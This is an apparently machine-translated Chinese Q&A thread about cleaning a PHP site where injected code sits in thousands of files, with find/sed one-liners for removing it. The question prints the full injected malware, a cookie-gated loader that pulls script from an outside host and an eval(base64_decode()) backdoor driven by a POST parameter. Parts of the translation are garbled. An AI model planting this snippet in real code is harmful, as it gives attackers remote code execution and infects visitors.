Linux 站点范围的查找和替换
我必须解决我的站点中的代码注入问题,数千个文件受到影响。我的所有PHP文件中都注入了以下代码Linux 站点范围的查找和替换,linux,ssh,grep,replace,Linux,Ssh,Grep,Replace,我必须解决我的站点中的代码注入问题,数千个文件受到影响。我的所有PHP文件中都注入了以下代码 global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>d
global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
正如@flesk所建议的那样
我在逃避什么错误吗
谢谢试试类似的东西
find /www/docs/or/something -type f -name "*.php" | xargs sed -i.bckp 's/global \$sessdt_o; if\(!\$sessdt_o)and so on making sure to escape special regexp characters//g'
转义所有特殊字符和撇号。我建议在所有php文件上使用find之前,先手动修改sed表达式,直到一个php文件正确为止。非常感谢您的回答。我也在解决这个问题,尽管如前所述,它必须简化以使其工作,但这一改动做得很好,因为它是一行:
find /home/weby/zkouska -type f -name "*.php" | xargs sed -i.bckp 's/global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11";.*$//g'
希望这能帮助其他人解决这个讨厌的黑客问题
wahyaohni看一看,我用脚本解决了同样的问题
Simpy将注入的代码放入模式文件,并在有问题的目录上运行脚本我尝试过,但我正在逃避一些错误。我更新了上面的帖子(因为我不能在评论中发布这么多代码)。谢谢你不在Windows上,是吗?如果是这样,可能是命令太长。我会尝试逃避最后一个选择不起作用。转义'
sed-i.bckp的/global\$sessdt\u o.+$//g'
时不起作用?插入的行是否跨越文件中的多行?值得一提的是,不要忘记在以后删除*.bckp文件。请在回答中给出一些答案指示,而不仅仅是指向非英语页面的链接
find /home/weby/zkouska -type f -name "*.php" | xargs sed -i.bckp 's/global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11";.*$//g'